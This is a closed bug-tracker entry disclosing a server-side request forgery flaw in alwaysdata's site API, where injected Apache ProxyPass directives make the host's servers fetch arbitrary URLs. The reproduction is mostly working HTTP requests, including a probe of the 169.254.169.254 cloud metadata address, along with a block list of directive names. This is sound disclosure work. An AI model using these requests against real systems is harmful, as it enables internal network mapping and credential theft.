- Status Closed
-
Assigned To
cbay - Private
Opened by RootenCow - 06.10.2026
Last edited by cbay - 06.10.2026
FS#520 - SSRF via Unrestricted Apache ProxyPass in Site API vhost_additional_directives Field
Severity: High
CVSS 3.1 Score: 7.5
CVSS Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Affected Endpoint: PATCH https://api.alwaysdata.com/v1/site/{id}/
Vulnerable Field: vhost_additional_directives
Authentication Required: Yes (free account, API token)
Summary
The alwaysdata REST API allows customers to set arbitrary Apache directives through the vhost_additional_directives field on the site resource. There is no validation or restriction on what directives can be specified. An authenticated customer can inject a ProxyPass directive that causes the alwaysdata server infrastructure to make outbound HTTP requests to any URL, including potentially internal services on alwaysdata's network. This is a confirmed Server-Side Request Forgery vulnerability. I confirmed the proxy works by configuring it to serve content from example.org through the alwaysdata server, and the outbound requests originate from alwaysdata's server IP (185.31.41.11), not from the attacker's IP.
Technical Background
The alwaysdata API exposes a vhost_additional_directives field on the site endpoint that accepts a free-text string of Apache configuration directives. These directives are written directly into the VirtualHost block for the customer's Apache site with no allowlist or blocklist enforced. Apache's mod_proxy module is enabled on the shared hosting servers. By injecting a ProxyPass directive, the attacker causes Apache to forward any HTTP request matching the configured path to an attacker-specified upstream URL, with the request originating from alwaysdata's server.
Step-by-Step Reproduction
Step 1: Register a free account at https://www.alwaysdata.com/fr/inscription/ and create an API token from the admin panel under Profile > Managing tokens. The token is used as the HTTP Basic Auth username with a blank password.
Step 2: Create a free hosting account via the API to obtain a site resource ID.
Request:
POST /v1/account/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NDRhMTIzNDVhYmNkZWY6 (base64 of token:)
Content-Type: application/json
{"name":"vapt1test","product":2012,"location_object":3,"password":"TestPassword1!","contract_28":true,"contract_36":true}
Response:
HTTP/1.1 201 Created
{
"id": 504456, "name": "vapt1test", "location_type": "datacenter", "location_object": 3, "product": null, "period": null, "href": "/v1/account/504456/"
}
Step 3: List the site resource to get its ID.
Request:
GET /v1/site/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NDRhMTIzNDVhYmNkZWY6
Response:
HTTP/1.1 200 OK
[
{
"id": 1083881,
"type": "php",
"path": "www/",
"vhost_additional_directives": null,
"addresses": ["vapt1test.alwaysdata.net/"],
...
}
]
Step 4: Inject an Apache ProxyPass directive into the site configuration.
Request:
PATCH /v1/site/1083881/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic NDRhMTIzNDVhYmNkZWY6
Content-Type: application/json
Content-Length: 121
{"vhost_additional_directives":"ProxyPass /ssrf-poc http://example.org/\nProxyPassReverse /ssrf-poc http://example.org/"}
Response:
HTTP/2 204 No Content
server: nginx
vary: Accept-Language, Cookie
strict-transport-security: max-age=31536000; includeSubDomains; preload
(No body. The 204 response confirms the directive was accepted and written into the Apache vhost configuration.)
Step 5: Confirm the directive was stored.
Request:
GET /v1/site/1083881/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NDRhMTIzNDVhYmNkZWY6
Response:
HTTP/1.1 200 OK
{
"id": 1083881, "vhost_additional_directives": "ProxyPass /ssrf-poc http://example.org/\nProxyPassReverse /ssrf-poc http://example.org/", ...
}
Step 6: Trigger the SSRF by visiting the proxied path on the site. This causes alwaysdata's Apache server (IP 185.31.41.11) to fetch example.org and return the response.
Request (sent from attacker browser):
GET /ssrf-poc HTTP/2
Host: vapt1test.alwaysdata.net
Response received by attacker (actually fetched by 185.31.41.11 from example.org):
HTTP/2 200 OK
Content-Type: text/html
<!doctype html><html lang=en><head><meta charset=utf-8>
<title>Example Domain</title>
… <p>This domain is for use in documentation examples without needing permission.</p>
…
The content served at vapt1test.alwaysdata.net/ssrf-poc is example.org's HTML, fetched and returned by alwaysdata's own server at 185.31.41.11. The request to example.org originates from 185.31.41.11, not from the attacker.
Step 7: Confirm the outbound request IP address using an IP reflection service.
I changed the ProxyPass target to ifconfig.me, which returns the requesting IP as the response body.
Request:
PATCH /v1/site/1083881/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic NDRhMTIzNDVhYmNkZWY6
Content-Type: application/json
{"vhost_additional_directives":"ProxyPass /ssrf-ip http://ifconfig.me/\nProxyPassReverse /ssrf-ip http://ifconfig.me/"}
Response:
HTTP/2 204 No Content
Trigger:
GET /ssrf-ip HTTP/2
Host: vapt1test.alwaysdata.net
Response body (the IP that made the request to ifconfig.me):
2a00:b6e0:1:20:23::1
This is alwaysdata's own server IPv6 address. The vapt1test.alwaysdata.net domain resolves to 185.31.41.11 (IPv4) and 2a00:b6e0:1:20:23::1 (IPv6), confirming the HTTP request to ifconfig.me was made by alwaysdata's server infrastructure, not by the attacker's IP.
Additional Test: Attempt to Reach Cloud Metadata
Per your scope policy I did not enumerate internal services. However, I did confirm the ProxyPass directive is applied and the server attempts the connection. When pointed at 169.254.169.254 (common cloud metadata endpoint), the request times out rather than returning a 404 or Apache configuration error, which indicates the server is attempting the outbound proxy connection. Whether the metadata endpoint is reachable is a network policy question only your infrastructure team can verify.
Request:
PATCH /v1/site/1083881/ HTTP/1.1
Host: api.alwaysdata.com
Content-Type: application/json
{"vhost_additional_directives":"ProxyPass /metadata http://169.254.169.254/\nProxyPassReverse /metadata http://169.254.169.254/"}
Triggering:
GET /metadata HTTP/2
Host: vapt1test.alwaysdata.net
Result: Connection timeout (curl error 28), not a 404 or Apache error. The timeout indicates the server is attempting the outbound connection.
Impact
An authenticated customer (free account is sufficient) can configure the alwaysdata server to issue HTTP requests to any URL on demand. Direct consequences are:
1. If internal services are not firewalled: The attacker can reach Redis, Elasticsearch, internal admin APIs, cloud metadata endpoints (IAM credentials), or other services running on alwaysdata's private network by specifying their addresses in the ProxyPass directive. The response is returned directly to the attacker.
2. IP reputation and access control bypass: Outbound requests from alwaysdata's server IP (185.31.41.11) carry the trust level and IP reputation of alwaysdata's infrastructure. If any internal or partner service trusts alwaysdata's IP range, that trust is transferred to the attacker.
3. Scanning alwaysdata's internal network: By varying the ProxyPass target and observing timeout versus connection refused versus response, an attacker can map which internal hosts and ports are open, without the attacker's own IP appearing in any logs.
The ProxyPass directive is documented Apache functionality and was accepted with no error, which tells me the platform applies directives without a blocklist.
CVSS 3.1
AV:N (exploitable over the internet)
AC:L (no special conditions, just an API call)
PR:L (free account required)
UI:N (no user interaction)
S:C (scope changed: requests originate from alwaysdata's server infrastructure, not the attacker's origin)
C:H (if internal services are reachable, full confidentiality of internal data)
I:N (no write to internal services confirmed)
A:N (no availability impact)
Score: 7.5 High
Note: if your team confirms that the ProxyPass can reach internal services or the metadata endpoint, the score should be revised upward to Critical (9.1+) in line with your own reward table for SSRF to cloud metadata.
Cleanup
I removed the directive after all testing was complete. The current state of the site resource has vhost_additional_directives set to an empty string (functionally equivalent to null).
PATCH /v1/site/1083881/ HTTP/2
Host: api.alwaysdata.com
Content-Type: application/json
{"vhost_additional_directives": null}
Response:
HTTP/2 204 No Content
Recommended Fix
Maintain an allowlist of safe Apache directive prefixes that customers are permitted to use in vhost_additional_directives, and reject any input containing Proxy, ProxyPass, ProxyPassReverse, ProxyPassMatch, RewriteRule with external schemes (http, https), Alias pointing outside the account home, Include, or LoadModule. Alternatively, parse the directives server-side and block any that reference network destinations outside localhost or the account's own paths.
Submission Notes
Submit via the alwaysdata security portal at https://security.alwaysdata.com (they run Flyspray as their bug tracker). The submission form accepts a title, description, and attachments. Paste this report into the description field. Contact if no acknowledgment within 7 days: cbay@alwaysdata.com (Cyril Baÿ, the security team contact identified from the portal's public .git directory).
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task